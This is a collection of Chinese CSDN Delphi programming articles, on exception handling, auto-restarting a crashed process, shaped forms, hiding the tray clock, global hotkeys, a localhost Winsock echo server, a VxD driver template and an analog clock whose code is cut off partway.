procedure TForm1.Button1Click(Sender: TObject);
begin
try
ToOpenFile();
except
ShowMessage('Open file failed');
end;
end;

使用异常解决了使用返回错误代码方法存在的问题，当然，使用异常也不是没有代价的。异常会增加程序的负担，因此滥用异常也是不可取的。写若干try...except和写数以千计的try...except之间是有很大区别的。用Chalie Calverts的话来说就是：“在似乎有用的时候，就应该使用try...except块。但是要试着让自己对这种技术的热情不要太过头”。

另外，Object Pascal引入了独特的try...finally结构。前面我说过，通过异常从函数返回和正常从函数返回是没有什么区别的。因此，函数中的栈中的局部对象，会自动得到释放，而堆中的对象则不会。而然，Object Pascal的对象模型是基于引用的，其存在于堆中，而非栈中。因此，有时我们在通过异常从函数返回之前需要清理一些局域的对象资源。try...finally正是解决这个问题的。

我改写了以上的 ToOpenFile 的代码，这次让ToOpenFile过程中使用了一些资源，并在异常发生后（或者不发生）从函数返回前都会释放这些资源：
procedure ToOpenFile;
var RetVal: Integer;
Stream: TStream;
begin
//Some code to openfile
Stream := TStream.Create;
RetVal := -1; //open failed

try
if RetVal = 0 then //success
Exit

else if RetVal = -1 then
Raise EFileNotFound.Create('File not found')

else if RetVal = -2 then
Raise EFileFormatErr.Create('File format error')

else //other error
Raise Exception.Create('Unknown error');
finally
Stream.Free;
end;
end;

单步执行以上代码，可以看出，即使当RetVal的值为 0 时，执行Exit后，仍然会执行finally中的代码，然后再从函数返回。由此保证了局部资源的正确释放。

try...except和try...finally的用途和使用场合是不同的，而很多初学者会将它们混淆。以下是笔者的一些个人认识：try...except一般用于调用者处捕获所调用的函数所抛出的异常并进行处理。而try...finally一般用于抛出异常的函数本身进行一些资源清理工作。

面向对象编程提供了“异常”这种错误处理的方案。善而用之，会对我们的工作有好处，可以显著改善所编写代码的质量。

Nicrosoft（nicrosoft@sunistudio.com）2001.7.25
原文出处：东日文档（http://www.sunistudio.com/asp/sunidoc.asp）


CSDN_文档中心_异常死亡进程的自动复活

异常死亡进程的自动复活

一、问题的产生
我们或多或少都有这样的经历，在Windows上运行的应用程序常常会异常终止，需要通过手工重新将其启动起来。若计算机无人看守，异常终止的进程不能实时启动，则可能给生产造成损失。
本人在开发GPS全球卫星定位系统控制中心程序时，就遇到过控制中心程序异常终止死亡的情况，由此，找出了一个自动复活死亡进程的方法，供参考。
二、相关知识
通常，把一个应用程序的一次运行实例叫做一个进程，在一个进程内又可包含多条可并发执行的路径，每条执行路径叫做一个线程，一个进程至少包含一个主线程。主线程负责执行运行的启动代码。另外，一个进程可以创建若干子进程。当进程被创建时，系统自动产生主线程，主线程然后可创建更多的线程。
我们可以编写一个程序，让其创建、启动子进程，并监视进程的运行情况，在其出现异常终止时，立即重新创建并启动子进程即可。
三、相关函数
1、创建一个子进程函数：
BOOL CreateProcess(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
参数说明：
lpApplicationName：新进程将要使用的可执行文件的名字，必须包含扩展名。
LpCommandLine：新进程的命令行。若lpApplicationName为NULL，LpCommandLine 的第一个参数是新进程将要使用的可执行文件的名字，可以不包含扩展名，系统假定是exe文件。
LpProcessAttributes和lpThreadAttributes：分别是给进程对象和线程对象指定的安全属性。
BInheritHandles：指定该进程是否继承其父进程中的句柄。
dwCreationFlags：指定新进程产生方式的标志，可用逻辑操作符or相连接。
LpEnvironment：指向含有新进程将要使用的环境块字符串的一块内存,一般为NULL，使子进程继承父进程的一组环境块。
LpCurrentDirectory：设置子进程的当前驱动器和工作目录, 为NULL，子进程继承父进程的当前驱动器和工作目录。
LpStartupInfo：指向STARTUPINFO 的结构。一般让子进程使用缺省值。但要把该结构中的所有成员初始化为0,并设置cb为结构大小。
STARTUPINFO 结构如下：
typedef struct _STARTUPINFO {
DWORD cb;
LPTSTR lpReserved;
LPTSTR lpDesktop;
LPTSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO；
lpProcessInformation 参数指向LPPROCESS_INFORMATION结构，CreateProcess在返回之前，填入有关子进程的信息，父进程正是利用该信息监测子进程是否终止。该结构如下：
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
} PROCESS_INFORMATION;
hProcess和hThread分别是子进程的句柄和子进程的主线程的句柄，dwProcessId和dwThreadId分别是子进程的标识号和子进程的主线程的标识号。
2、子进程终止检测函数
GetEXitCodeProcess(HANDLE hProcess, LPDWORD lpExitCode );
Hprocess：进程句柄，lpExitCode：进程终止时的退出码。
如果一个进程没有终止，lpExitCode 的返回值是STILL_ACTIVE,否则返回其他值。
四、方法的Delphi5语言实现
1、创建一个新的项目 Project1
选择File,New Application。在表单Form1上放一Memo组件，一个OK按钮组件，改变OK按钮组件的Cation属性为 CreateProcess。再放一个timer组件。设置timer组件的Interval值为1000,每秒检查一次进程是否终止。
2、在Unit1 Use节的Type后定义一个过程
procedure EstablishProcess;
在Unit1 Use节的Var后定义一个变量：
piProcInfoGPS:PROCESS_INFORMATION;
3、在Unit1 implementation节中编写EstablishProcess过程的实现代码如下：
procedure EstablishProcess;
Var
siStartupInfo:STARTUPINFO;
saProcess,saThread:SECURITY_ATTRIBUTES;
fSuccess:boolean;
begin
fSuccess:=false;
ZeroMemory(@siStartupInfo,sizeof(siStartupInfo));
siStartupInfo.cb:=sizeof(siStartupInfo);
saProcess.nLength:=sizeof(saProcess);
saProcess.lpSecurityDescriptor:=PChar(nil);
saProcess.bInheritHandle:=true;
saThread.nLength:=sizeof(saThread);
saThread.lpSecurityDescriptor:=PChar(nil);
saThread.bInheritHandle:=true;
fSuccess:=CreateProcess(PChar(nil),'c:\sr350\Sr350buff',@saProcess,@saThread,false,
CREATE_DEFAULT_ERROR_MODE,Pchar(nil),Pchar(nil),siStartupInfo,piProcInfoGPS);
if( not fSuccess)then
Form1.Memo1.Lines.Add('Create Process Sr350buff fail.')
else
Form1.Memo1.Lines.Add('Create Process Sr350buff success.')
end;
4、在CreateProcess按钮的OnClick事件中调用过程
EstablishProcess；
5、为Timer1的OnTimer事件编写代码：
Procedure TForm1.Timer1Timer(Sender: TObject);
Var
dwExitCode:DWORD;
fprocessExit:boolean;
Begin

dwExitCode:=0;
fprocessExit:=false;
fprocessExit:=GetExitCodeProcess(piProcInfoGPS.hProcess,dwExitCode);
if(fprocessExit and (dwExitCode<>STILL_ACTIVE))then
begin
Memo1.Lines.Add('SR350buff.exe进程终止');
CloseHandle(piProcInfoGPS.hThread);
CloseHandle(piProcInfoGPS.hProcess);
EstablishProcess;
end;
End;
6、程序中设可执行文件名为c:\sr350\sr350buff.exe，所以c:盘\sr350目录下需有sr350buff.exe文件。
7、编译联接，运行project1，单击CreateProcess可见c:\sr350\sr350buff.exe启动。关掉sr350buff.exe进程，可见sr350buff.exe自动再启动。


CSDN_文档中心_异形窗体的实现

一定有很多人看到过一些奇形怪状的窗体，例如一些屏幕精灵。其实实现起来非常容易，做到三点就好啦。下面我使用Delphi做了一个VCL控件（TBmpShape），你只需要指定一幅图片就可以将窗体变成你的图片的形状。

1。准备一幅位图图片，一定要BMP格式的

2。将VCL控件放在你的窗体（FORM）上，注意不能是其他的容器，设置PICTURE属性，指定制作好的图片。

3。设置图片的背景颜色，必须是你的图片的背景颜色准确值

4。在本窗体的FormCreate事件中写一行代码

BmpShape1.Apply;

做到上面四点就可以了，编译运行你的窗体，是不是不一样啊。

下面是具体的代码，不是太长吧。

unit BmpShape;
{
2002/08/22 by ultrared
根据BMP文件创建窗口
注意：
1. BMP文件最左上的一个点颜色作为背景色
2. BmpShape控件只能用在TForm容器上
3. BMP文件可以是256色或者24位色
4。大块背景色必须和背景色绝对相等才能获得正常效果
}
interface

uses
Forms,Windows, Messages, SysUtils, Classes, Controls, ExtCtrls,Graphics;

type
TBmpShape = class(TImage)
private
{ Private declarations }
BackColor:TColor;//背景颜色
FColorDither:boolean;//是否允许背景颜色有一定的抖动
function GetRegion:HRGN;//前景图片的区域
procedure setColorDither(cd:Boolean);
protected
{ Protected declarations }
public
{ Public declarations }
constructor Create(AOwner:TComponent);override;
procedure Apply;//使用效果
published
{ Published declarations }
property Dither:Boolean read FColorDither write setColorDither;
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('Samples', [TBmpShape]);
end;

procedure TBmpShape.setColorDither(cd:Boolean);
begin
if cd<>FColorDither then
FColorDither:=cd;
end;

constructor TBmpShape.Create(AOwner:TComponent);
begin
inherited Create(AOwner);
BackColor:=RGB(0,0,0);
FColorDither:=FALSE;
end;

//核心子程序，获得BMP图片的前景区域
function TBmpShape.GetRegion:HRGN;
var
i,j:integer;
rgn1,rgn2:HRGN;
StartY:integer;
r,g,b,r1,g1,b1:BYTE;
cc:TColor;
begin
if Picture.Bitmap<>nil then
begin
BackColor:=Picture.Bitmap.Canvas.Pixels[0,0];
rgn1:=CreateRectRgn(0,0,0,0);
for i:=0 to Picture.Bitmap.Width-1 do
begin
StartY:=-1;
for j:=0 to Picture.Bitmap.Height-1 do
begin
cc:=Picture.Bitmap.Canvas.Pixels[i,j];
if FColorDither then
begin
//允许和背景有一定的色差
r:=(cc and $FF0000) shr 16;
g:=(cc and $FF00) shr 8;
b:=cc and $FF;
r1:=(BackColor and $FF0000) shr 16;
g1:=(BackColor and $FF00) shr 8;
b1:=BackColor and $FF;
if (abs(r-r1)<10) and (abs(g-g1)<10) and (abs(b-b1)<10) then
begin
if (StartY>=0) and (j>=StartY) then
begin
rgn2:=CreateRectRgn(i,StartY,i+1,j);
CombineRgn(rgn1,rgn1,rgn2,RGN_OR);
StartY:=-1;
end;
end
else
begin
if Starty<0 then
StartY:=j
else if j=(Picture.Bitmap.Height-1) then //最下面一个点
begin
rgn2:=CreateRectRgn(i,StartY,i+1,j);
CombineRgn(rgn1,rgn1,rgn2,RGN_OR);
end;
end;
end
else //不允许色差
begin
if cc=BackColor then
begin
if (StartY>=0) and (j>=StartY) then
begin
rgn2:=CreateRectRgn(i,StartY,i+1,j);
CombineRgn(rgn1,rgn1,rgn2,RGN_OR);
StartY:=-1;
end;
end
else
begin
if Starty<0 then
StartY:=j
else if j=(Picture.Bitmap.Height-1) then //最下面一个点
begin
rgn2:=CreateRectRgn(i,StartY,i+1,j);
CombineRgn(rgn1,rgn1,rgn2,RGN_OR);
end;
end;
end;
end;
end;
result:=rgn1;
end
else
result:=0;
end;

procedure TBmpShape.Apply;
begin
if Parent is TForm then
begin
Left:=0;
Top:=0;
Width:=Picture.Bitmap.Width;
Height:=Picture.Bitmap.Height;
with (Parent as Tform) do
begin
BorderStyle:=bsNone;
Width:=Self.Width;
Height:=Self.Height;
end;
SetWindowRgn(Parent.Handle,GetRegion,FALSE);
end;
end;

end.


CSDN_文档中心_隐藏任务条托盘区中的时钟

隐藏任务条托盘区中的时钟

// 隐藏时钟
procedure TForm1.Button1Click(Sender: TObject);
var
  hn : HWnd;
begin
  hn := FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,
            'TrayNotifyWnd',nil),0,'TrayClockWClass',nil);
  if hn <> 0 then
    ShowWindow(hn,SW_HIDE);
end;

// 重现时钟
procedure TForm1.Button2Click(Sender: TObject);
var
  hn : HWnd;
begin
  hn := FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,
           'TrayNotifyWnd',nil),0,'TrayClockWClass',nil);
  if hn <> 0 then
    ShowWindow(hn,SW_SHOW);
end;


CSDN_文档中心_应用程序框架的使用技巧

现在是2002年10月10日，19：20。我第一次意识到自己可以在CSDN的文档中心发表文章。

本文是我在CSDN文档中心的第一篇文档，记录一下最近用到的几个小技巧。这些技巧放在我的硬盘上，经常会被无意的删除。

1、创建无标题栏但可以Resize的窗体

声明部分

TForm1 = class(TForm)
……
protected
procedure CreateParams(var Param: TCreateParams);override;
……
end;

实现部分

procedure TForm1.CreateParams(var Param: TCreateParams);
begin
inherited;
Param.Style := WS_THICKFRAME or WS_POPUP;
end;

（近期会继续完善本文。）


CSDN_文档中心_应用程序敏感键的实现

----在一个应用程序内部菜单、部件都可以设置敏感键。如在菜单中一般用Alt+F进
入“文件”之类的子菜单。另外我们在桌面上设置的快捷方式里的快捷键，无论你任何
时候按下你所设置的快捷键就会启动相应的应用程序。在多个正在运行的应用程序中如
何利用一个按键动作迅速地回到你所需要的应用程序呢？这就需要利用敏感键
（HOTKEY）的技术来实现。本文利用Delphi3.0开发工具来阐述该技术在应用程序的实
现方法。

一、敏感键的设置

----在windowsApi中有一个函数RegisterHotKey用于设置敏感键，它的调用方式如下：

BOOLRegisterHotKey(
HWNDhWnd，响应该敏感键的窗口句柄
Intid，该敏感键的唯一标示符
UINTfsModifiers，该敏感键的辅助按键
UINTvk该敏感键的键值
);
----其中敏感键的唯一标示符在Window中规定应用程序的取值范围为0x0000到0xBFFF之
间，动态链接库的取值范围为0xC000到0xFFFF之间。为了保证其唯一性建议使用
GlobalAddAtom函数来设置敏感键的唯一标示符。需要注意的是GlobalAddAtom还回的值
是在0xC000到0xFFFF范围之间，为满足RegisterHotKey的调用要求，如果是在应用程序
中设置敏感键可以利用GlobalAddAtom还回值减去0xC000。
----敏感键的辅助按键包括Mod_Ctrl、Mod_Alt、Mod_Shift，对于Windows兼容键盘还
支持Windows键，即其键面上有Windows标志的那个键，其值为Mod_win。

----在Delphi中建立一个“NewApplication”，在Tform1中的Private段中加入如下
代码

private
{Privatedeclarations}
hotkeyid:integer;
procedureWMhotkeyhandle(varmsg:Tmessage);
messagewm_hotkey;响应敏感键按键消息
在FormCreate事件中加入如下代码
…
hotkeyid:=GlobalAddAtom(pchar
(“UserDefineHotKey”))-$C000;
减去$C000是为了保证取值范围的限制
registerhotkey(handle，hotkeyid，
MOD_CONTROLormod_Altt，$41);
敏感键为ctrl+Alt+A
…
二、敏感键的响应
----一旦敏感键设置成功，在程序应用过程中如果有相应敏感键被按下，Windows系统都会给
你的应用程序发送一个消息WM_HOTKEY，不管你的应用程序是否为当前活动的。其中WM_HOTKEY
消息的格式为：

idHotKey=(int)wParam;
该参数在设置系统级的敏感键有用，一般不予使用
fuModifiers=(UINT)LOWORD(lParam);
敏感键的辅助按键
uVirtKey=(UINT)HIWORD(lParam);
敏感键的键值
----因为Windows系统只是把一个WM_HotKey的消息发送给应用程序，要完成具体的事情需要一
个消息处理程序，也就是上面Private段里的
procedureWMhotkeyhandle(varmsg:Tmessage);messagewm_hotkey;过程，它的代码
如下(这里只是简单地把窗口最前面显示)
procedureTForm1.Wmhotkeyhandle
(varmsg:Tmessage);
begin
if(msg.LParamHi=$41)and
(msg.lparamLo=MOD_CONTROLormod_Alt)then
begin
msg.Result:=1;该消息已经处理
application.BringToFront;
把窗口最前面显示
end;
end;
三、敏感键的释放
----在应用程序退出来之前应当把你所设置的敏感键释放掉，以释放其所占有的系统资源，这里
需要调用两个WindowsAPI函数UNREGISTERHOTKEY，它的调用格式如下:

BOOLUNREGISTERHOTKEY(
HWNDHWND，与敏感键关联的窗口句柄
INTID敏感键的标示符
);
也就是说只要在FormClose事件中加入如下代码
…
unregisterhotkey(handle，hotkeyid);
DeleteAtom(HotKeyID);
…
----到这里为止，你应当对敏感键技术有了全面的了解，以上的例子相当简单同时也没有提供必
要的调用成功检测，可以根据具体情况加以完善，希望对你的开发过程会有所帮助.


CSDN_文档中心_用 API 做的 ServerSocket 例子

program Server;

{$APPTYPE CONSOLE}

uses
SysUtils,
Winsock,
Windows;

type
TParam=record
TrdId:integer;
Sckt:TSocket;
end;

//子线程函数
function ChildThrd(p:Pointer):LongInt;stdcall;
var
PkLen:integer;
ThreadId:integer;
ASocket:TSocket;
buf:array[0..63] of char;
begin
Result:=0;
ThreadId:=TParam(p^).TrdId;
ASocket:=TParam(p^).Sckt;
Writeln('Thread '+IntToStr(ThreadId)+' Create');
PkLen:=1;
while PkLen>0 do
begin
FillChar(buf,SizeOf(buf),0);
PkLen:=Recv(ASocket,buf,SizeOf(buf),0); //接收数据
Write(buf);
if PkLen>0 then
begin
Send(ASocket,buf,PkLen,0);//发送数据
end;
end;
CloseSocket(ASocket); //关闭socket
Dispose(p);
Writeln('Thread '+IntToStr(ThreadId)+' End');
Writeln('Socket '+IntToStr(ASocket)+' DisConnect');
end;

//主程序
var
MyWSA: WSAData;
Svr,Clt: TSockAddr;
NameLen:Integer;
hSocket,s: TSocket;
TimeOut:integer;
ThreadCount:integer;
hThread:Thandle;
ThreadID:DWord;
Param:^TParam;
begin
If WSAStartup(MAKEWORD(2,2), MyWSA) <> 0 Then //初始化
Begin
WSACleanup;
Writeln('WSAStartup() Fail');
Exit;
end;
hSocket := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //创建socket
If hSocket = INVALID_SOCKET Then
Begin
WSACleanup;
Writeln('Socket() Fail');
Exit;
End;
Svr.sin_family := AF_INET;
Svr.sin_port := htons(176); //server端口号为176
Svr.sin_addr.S_addr := inet_addr(PChar('127.0.0.1'));//server的ip地址为127.0.0.1
If Bind(hSocket, Svr, SizeOf(Svr)) = SOCKET_ERROR Then //绑定socket
Begin
CloseSocket(hSocket);
WSACleanup;
Writeln('Bind() Fail');
Exit;
end;
if Listen(hSocket,256) = SOCKET_ERROR Then //socket开始侦听,最大同时连接数为256个
begin
CloseSocket(hSocket);
WSACleanup;
Writeln('Listen() Fail');
Exit;
end;
TimeOut:=3000;
ThreadCount:=0;
Writeln('Listening......');
while true do
begin
NameLen:=SizeOf(Clt);
s:=Accept(hSocket,@Clt,@NameLen);//接受一个连接
if s = SOCKET_ERROR Then
begin
CloseSocket(hSocket);
WSACleanup;
Writeln('Accept() Fail');
Exit;
end
else
begin
Writeln('Socket '+IntToStr(s)+' Connect');
if SetSockOpt(s,SOL_SOCKET,SO_RCVTIMEO,PChar(@TimeOut),SizeOf(TimeOut))=SOCKET_ERROR then //设置接收超时为3秒
begin
CloseSocket(s);
CloseSocket(hSocket);
WSACleanup;
Writeln('SetSockOpt() Fail');
Exit;
end;
if SetSockOpt(s,SOL_SOCKET,SO_SNDTIMEO,PChar(@TimeOut),SizeOf(TimeOut))=SOCKET_ERROR then //设置发送超时为3秒
begin
CloseSocket(s);
CloseSocket(hSocket);
WSACleanup;
Writeln('SetSockOpt() Fail');
Exit;
end;
new(Param);
Param^.TrdId:=ThreadCount;
Param^.Sckt:=s;
hThread:=CreateThread(nil,0,@ChildThrd,Param,0,ThreadID); //创建childthrd子线程
if hThread=0 then
begin
Writeln('CreateThread() Fail');
end
else
begin
Inc(ThreadCount);
end;
end;
end;
CloseSocket(hSocket); //关闭socket
WSACleanup;
end.

//源码下载 http://ono.3322.org/mysoft/serversocket.zip


CSDN_文档中心_用 Delphi 编写 VxD 设备驱动程序(转)

用 Delphi 编写 VxD 设备驱动程序(转)

关键词：Delphi控件杂项

作者：Emil Biserov(dinfo@mail.primorye.ru)(Russion)
英语翻译：Vitaly Zayko(zayko@vitsoftware.com)
中文翻译改编：Riceball(teditor@mailroom.com)

前言
用 Delphi 3.0 编写 VxD 设备驱动程序，在Delphi 3 下编译通过，Delphi 2 下没有测试，Delphi 4 建立的 Object 文件 M$ Linker 5.12.8181 不能识别，这里使用的汇编器是M$的Macro Assembler ver. 6.11d ，联结器是M$ Incremental Linker ver. 5.12.8181 ，它们来自 Windows 98DDK(http://www.microsoft.com/ddk/ddk98.htm)。

介绍
Windows 存在有两种类型的 VxD 设备驱动程序：
1、静态(Static) VxD ，装入操作系统并永久的存在于内存中；
2、动态(Dynamic) VxD，当需要时才调入内存，用完后关闭VxD即可释放内存。
Inprise Delphi 有能力建立任何一种类型的 VxD 设备驱动程序，下面我们将介绍如何建立动态 VxD。
当 Win32 应用程序打开一个 VxD “虚拟”设备时，VWIN32 使用 LoadDevice 将 VxD 装入内存，并建立消息W32_DEVICEIOCONTROL ，发向 VxD。
也就是说，VxD 至少应该响应以下两个系统信息和编写以下的一个函数：
SYS_DYNAMIC_DEVICE_INIT
SYS_DYNAMIC_DEVICE_EXIT
W32_DEVICEIOCONTROL 函数.
消息 SYS_DYNAMIC_DEVICE_INIT 在尝试装入 VxD 时发送到 VxD ，消息 SYS_DYNAMIC_DEVICE_EXIT 在尝试动态交换时发送到 VxD ，消息的处理者在成功处理后，应该在寄存器 AX 中返回 VXD_SUCCESS 标志。

W32_DEVICEIOCONTROL 的 dwService 参数有以下的值：
DIOC_OPEN 当 VxD 通过 CreateFile() 函数尝试打开操作时发送（在 SYS_DYNAMIC_DEVICE_INIT 消息后），如果成功返回 NO_ERROR (0);
DIOC_CLOSEHANDLE 当 VxD 通过 CloseHandle() 函数尝试关闭操作时发送（在 SYS_DYNAMIC_DEVICE_EXIT 前）
所有其它的值 > 0 意味着不同的函数调用（由 dwIoControlCode 给出），当 VxD 被 DeviceIoControl 函数调用时。

启动模块(vxdmain.asm)
...
extrn SysDynamicDeviceInit :PROC
extrn SysDynamicDeviceExit :PROC
extrn W32DeviceIoControl :PROC
...
PUBLIC DELPHIIO_DDB
Public @@HandleFinally
Public @initialization
...
Control_0 proc
cmp eax, SYS_DYNAMIC_DEVICE_INIT
jnz short chkSysDynExit
call SysDynamicDeviceInit
cmp eax, 1
retn
;-------------

chkSysDynExit:
cmp eax, SYS_DYNAMIC_DEVICE_EXIT
jnz short chkDevIOCtl
call SysDynamicDeviceExit
cmp eax, 1
retn
;-------------
chkDevIOCtl:
cmp eax, W32_DEVICEIOCONTROL
jnz short loc_ret
push esi
push edx
push ebx
push ecx
call W32DeviceIoControl
cmp eax, 1
retn
;-------------
loc_ret:
clc
retn

Control_0 endp

@@HandleFinally:
@initialization:
ret

_LTEXT ends
END

Delphi 会为单元的 initialization/finalization 建立代码调用外部过程 HandleFinaly 和 initialization ，即使 initialization/finalization 在单元中不存在。因此我们在汇编的启动文件中建立空的外部过程入口。

主 Delphi 程序单元(vxdProcs.pas)
...
procedure ShellMessage(Handle, Flags : integer; const Message, Caption : PChar;
Callback, ReferenceData : pointer); stdcall; assembler;
asm
mov ebx, Handle // virtual machine handle
mov eax, Flags // message box flags
mov ecx, Message // address of message text
mov edi, Caption // address of caption text
mov esi, Callback // address of callback
mov edx, ReferenceData // reference data for callback

int 20H // VxDCall
dd 170004h // Shell_Message
end;

function SysDynamicDeviceInit : INTEGER;
begin
ShellMessage(0, $10, Copyright, 'SysDynInit: Hello from Delphi VxD !!!', nil, nil);
Result := VXD_SUCCESS;
end;

function SysDynamicDeviceExit : INTEGER;
begin
ShellMessage(0, $10, Copyright, 'SysDynDevExit: Bye from Delphi VxD !!!', nil, nil);
Result := VXD_SUCCESS;
end;

function W32DeviceIoControl(dwService : INTEGER;
dwDDB : INTEGER;
hDevice : INTEGER;
lpDIOCParms : pointer) : INTEGER;
begin
ShellMessage(0, $10, Copyright, 'W32DevIOCtl', nil, nil);

if (dwService = DIOC_OPEN) then
begin
Result := NO_ERROR;
end
else if (dwService = DIOC_CLOSEHANDLE) then
begin
Result := VXD_SUCCESS;
end
else if (dwService > MAX_PASVXD_W32_API) then
begin
Result := ERROR_NOT_SUPPORTED;
end
else
begin
Result := VXD_SUCCESS;
end;
end;
...

[译者：好了，简单的 VxD 设备驱动程序编写完毕了。你可以将它当作一个写 VxD 设备驱动程序的模板。]

附一：Make.bat
D:\VISUAL~1\98DDK\BIN\Win98\ml -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 vxdmain.asm
call dcc3.bat -J vxdprocs.pas
D:\VISUAL~1\98DDK\BIN\link /DEF:vxddef.def /VXD vxdmain.obj vxdprocs /OUT:delphiio.vxd

附二：
现在让我们来编写对该 VxD 的测试程序，两个按钮：一个打开 VxD；一个关闭 VxD。

const
VxDName = '\\.\DELPHIIO.VXD';

...

function TVxDTestForm.OpenVxDDriver: boolean;
begin
HVxDHandle := CreateFile(VxDName,0,0,nil,0,FILE_FLAG_DELETE_ON_CLOSE,0);
Result := HVxDHandle <> INVALID_HANDLE_VALUE;
end;

procedure TVxDTestForm.CloseVxDDriver;
begin
if HVxDHandle <> INVALID_HANDLE_VALUE then begin
CloseHandle(HVxDHandle);
HVxDHandle := INVALID_HANDLE_VALUE;
end;
end


CSDN_文档中心_用 DELPHI 为 WINDOWS 做一个带声音的模拟闹钟

嗨，大家好。我是梦寻，这是我的第一次发帖子，请大家多多鼓励、多多
支持，毕竟嘛，予人方便予己方便。OK,转入正题，现在就来讲如何做一个带
响声的表盘式的 CLOCK。
首先我们应选择新建一个程序，并在窗体中加入以下元件：
Timer1: TTimer;
Image1: TImage;//时钟的表盘
Edit1: TEdit; //日期框
Label1: TLabel;
PopupMenu1: TPopupMenu;
而后在 {$R *.DFM} 下面加入这么一句 {$R CLOCKSOU.RES} <--时钟的声音文件,
(注：CLOCKSOU.RES 是先用windows的记事本新建一个文件，并加入以下几行
CLICKBEL WAVE "CLICKBEL.WAV"
TIMEBELL WAVE "TIMEBELL.WAV"
并存为文件 CLOCKSOU.RC 然后在 DOS解面下用BRCC32.exe 将 CLOCKSOU.RC 编译
为 DELPHI 格式的资源文件 CLOCOSOU.RES,当然，您如果嫌步骤太烦，那吗最简单的,
到我的主页 http://www.suye.8u8.com 下载完整的程序代码)
OK，在完成上面的步骤后我们就可以在窗体的代码筐中输入以下代码。

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls,unit2, StdCtrls,inifiles,MMSystem, Menus;
type
TForm1 = class(TForm)
Timer1: TTimer;
Image1: TImage;
Edit1: TEdit;
Label1: TLabel;
PopupMenu1: TPopupMenu;
pop1: TMenuItem;
pop2: TMenuItem;
pop4: TMenuItem;
pop3: TMenuItem;
pop5: TMenuItem;
N1: TMenuItem;
procedure Timer1Timer(Sender: TObject);
procedure timdrow(tim:real;long,col:integer);
procedure FormCreate(Sender: TObject);
procedure Image1Click(Sender: TObject);
procedure pop1Click(Sender: TObject);
procedure pop2Click(Sender: TObject);
procedure pop4Click(Sender: TObject);
procedure pop5Click(Sender: TObject);
procedure pop3Click(Sender: TObject);
procedure tiniwr();
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure N1Click(Sender: TObject);

private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
CLOCKBELL,wid,pofse:integer;
tim1,tim2,tim3,tim4:real;
dtme: TDateTime;
timini:tinifile;
dtim,textdef,tmfilename:string;
implementation

{$R *.DFM}
{$R LL1.RES} //时钟的发声文件
procedure tform1.tiniwr();
begin
timini:=TIniFile.Create(tmfilename);
with timini do
begin
WriteString('内容','文字',textdef);
Writestring('参数','时间',dtim);
WriteBool('参数','报时允许',pop1.checked);
WriteBool('参数','秒响允许',pop2.checked);
WriteBool('参数','定时允许',pop3.checked);
end;
timini.free;
end;

procedure tform1.timdrow(tim:real;long,col:integer); //指针的过程函数。
var
xx,yy:integer;
vtt,vt:real;
begin
IF (TIM2=59) AND (TIM3=0) THEN TIM:=TIM-1;
IF (COL=3)or (col=6) THEN
if col=3 then VT:=TIM1*5+(TIM2/720)
else begin
VT:=TIM1*5+((TIM2-1)/720);
col:=5;
end
ELSE vt:=tim;
vt:=Pi-pi*vt/30-2*pi*(vt-15); //得出指针末端的 Y 坐标
vtt:=int(long*sin(vt))+45; //得出指针末端的 X 坐标
xx:=strtoint(floattostr(vtt));
vtt:=int(long*cos(vt))+45;
yy:=strtoint(floattostr(vtt));
case col of //判断所要画的指针是 分针、秒针或时针
0:begin
image1.Canvas.pen.Color:=clgray;
image1.Canvas.pen.Width:=1;
END;
1:BEGIN
image1.Canvas.pen.Color:=clRed;
image1.Canvas.pen.Width:=1;
END;
2:BEGIN
image1.Canvas.pen.color:=clblue;
image1.Canvas.pen.Width:=2;
END;
3:BEGIN
image1.canvas.pen.color:=clgreen;
image1.Canvas.pen.Width:=2;
END;
4:begin
image1.canvas.pen.color:=clblack;
image1.Canvas.pen.Width:=1;
END;
5:begin
image1.canvas.pen.color:=clgray;
image1.Canvas.pen.Width:=3;
END;
end;
IMAGE1.Canvas.Ellipse(43,43,47,47);
image1.Canvas.MoveTo(45,45);
image1.Canvas.Lineto(xx,yy);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
str1,str2:string;
begin
str1:=timetostr(time());
STR2:=COPY(STR1,2,1);
if str2=':' then pofse:=0 else pofse:=1;
EDIT1.TEXT:=' '+DATETOSTR(DATE()); //日期盘上的日期数据
str2:=copy(str1,pofse+6,2);
tim4:=strtofloat(str2);
if tim4<>tim3 then //判断是否到了移动指针的时间
begin
if (tim3=0) or (tim3=15) or (tim3=30)
or (tim3=45) then timdrow(tim3,39,4) else timdrow(tim3,39,0);
tim3:=tim4;
if pop2.checked then PlaySound(PChar('CLICKBEL'),
hInstance, snd_ASync or snd_Resource); //秒针的“滴答”发声
str2:=copy(str1,1,pofse+1);

IF(TIM3=0)AND(TIM2=59)THEN //判断是否到了发出整点报时“钟声”的时间
BEGIN
CLOCKBELL:=STRTOINT(STR2);
IF CLOCKBELL=0 THEN CLOCKBELL:=12;
END;
IF CLOCKBELL>12 THEN CLOCKBELL:=CLOCKBELL-12;
timdrow(tim1,26,6);
tim1:=strtofloat(str2);
timdrow(tim2,33,5);
str2:=copy(str1,pofse+3,2);
tim2:=strtofloat(str2);
